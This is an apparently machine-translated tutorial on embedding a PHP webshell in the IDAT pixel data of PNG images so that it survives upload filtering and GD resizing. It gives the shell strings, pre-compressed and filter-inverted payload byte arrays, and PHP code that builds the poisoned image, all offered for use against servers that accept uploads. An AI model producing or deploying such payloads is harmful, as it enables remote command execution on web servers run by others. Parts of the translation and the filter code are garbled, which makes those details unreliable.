How to insert Webshell into idat chunks of PNG Images
By compiling a webshell into an image, you can bypass the server's boundary filter, and then let the shell actually appear out of thin air. (Not in comments or metadata encoding), how can I write the PHP shell into PNG IDAT with only GD?
If the Code cannot be written to the File system, it may be difficult to use server misconfiguration or Local File compression Sion, previously, applications that allowed image uploads provided limited methods to upload code to the server through metadata or malformed images. In more cases, no matter how you change the image size, select images, modify and reduce their metadata, or effectively write data to other file formats, it will damage the payload of webshell.
2cto Popular Science:
Within the PNG file format (Real-color PNG files, rather than compressed files), The IDAT block stores pixel information. We write the PHP shell into the block. Note: currently, pixel is always stored in three bytes representing the RGB color channel. When the original image is saved as a PNG Image, each row of the image is filtered in bytes, each row has a prefix number indicating the type of the filter used (0 × 01 to 0 × 05). Different rows may use different filters. The reason for doing so is to increase the compression ratio. Once all rows are filtered, they are compressed using the DEFLATE algorithm to form an IDAT chunk,
Therefore, if we want to input data in the form of raw images and store the data in the form of shell, we need not only bypass PNG line filters, but also bypass DEFLATE algorithm. The reverse direction is easier, so we start with DEFLATE.
Step 1: compress a string to form a shell script.
Ideally, we need to design a string that can be compressed into shell scripts. This process is not as difficult as we think, but obviously, our strings cannot contain any repeated code blocks (otherwise they will be compressed ). In fact, to prevent the script from being compressed, you must design a substring that does not contain more than two characters. This means that we must keep the string brief.
<?=`$_GET[0]`;?>
It would be that simple. Sadly, If you scale down the above string, you will get a lot of useless output. The string is not compressed, but the reduced result does not start from the byte range and will be encoded with the lowest valid bit instead of the highest valid bit.
It turns out that shell scripts that are most easily encoded are written in uppercase letters.
<?=$_GET[0]($_POST[1]);?>
You can specify the input parameter $ _ GET [0] as the shell script execution parameter and use the shell script command to pass an output parameter $ _ POST [1] to execute it.
We have constructed the following characters to DEFLATES the above part. This string has a very significant advantage, that is, we can change the first byte of payload from 0x00 to 0x04, the compressed string is still readable. This is crucial for a stage in the next process that needs to span the png filters format.
03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310
However, after the string deflates, the original image can be embedded and the image data block is generated as an image database in png format, and finally list the images side by side through program filtering. So we have to continue bypass.
Step 2: bypass PNG line filters
There are five different types of filters, and the PNG encoder determines which one is used for each line. The problem is that we need to construct a string generated by the string in step 1 when the filter is passed.
As long as our image contains only one line of payload (the rest of the image needs to be a constant color such as black), we will encounter two filters, 1 and 3, to simplify things further, if the server load is kept in the upper left corner of the image, we can write the code for two opposite filters as follows:
// Anti-filter 1for ($ I = 0; $ I <$ s; $ I ++) $ p [$ I + 3] = ($ p [$ I + 3] + $ p [$ I]) % 256; // anti-filter 3for ($ I = 0; $ I <$ s; $ I ++) $ p [$ I + 3] = ($ p [$ I + 3] + floor ($ p [$ I]/2) % 256;
However, if only filter 3 encoding payload is used, the PNG encoder will try to use filter 1 encoding, And if filter 1 encoding is used, PNG encoder will try to use filter 0-this will eventually fall into a loop...
To control which filter the PNG encoder selects, write the shell opposite to filter 3 and filter 1 in step 2 and connect them. This forces the encoder to select filter 3 for the payload and ensures that the code is converted to step 2 when the original image is written.
Then the compression is stored in the webshell of the idat chunk.
The following payload is implemented using the above method-filter 3 is green and filter 1 is gray. The funny thing is that, in fact, payload becomes larger using filters ....
0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33
Step 3: Create the original image
When constructing an original image that can write GD into a PNG file, it is crucial to place the valid payload image on the first line of the image.
At this point, only small images (~ 40 Px), build a larger image size of the payload is also possible.
Payload needs to be encoded as an RGB byte sequence like this:
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);} imagepng($img);
The image is created and a series of pixels are displayed in the upper left corner of the black background.
If you do not want a black background, you can also. You can skip the steps to enter the background with data. As long as the bytes (not pixels) in the data does not appear in other parts of the image. If it appears in other parts, when the IDAT block is compressed, the payload may be damaged-or other filters may be allocated by the encoder.
Step 4: bypass image transforms)
The main reason for putting webshell into IDAT chunk is the ability to manually bypass resizing and re-sampling operations-the PHP-GD includes two such functions.
Imagecopyresampled changes the image by taking the average value of a set of pixels, which means that to bypass this function, encoding is required in a series of rectangles or squares. Imagecopyresized changes the image by sampling each few pixels. to bypass this function, you only need to change the number of pixels. The following two images contain webshell when changed to 1/8 of their original size.
Kim Shell -- use imagecopyresize to change the size to 32 × 32 and save it as PNG. Then use GD to display the shell.
Use imagecopyresample to change the size to 32 × 3 and save it as PNG. Use GD to display shell.
Summary
There are many advantages of inserting shell in IDAT chunks, which can bypass most data verification technologies, in which applications adjust or recode uploaded images. You can even upload the above payload in GIF or JPEG format. As long as the final image is saved in PNG format.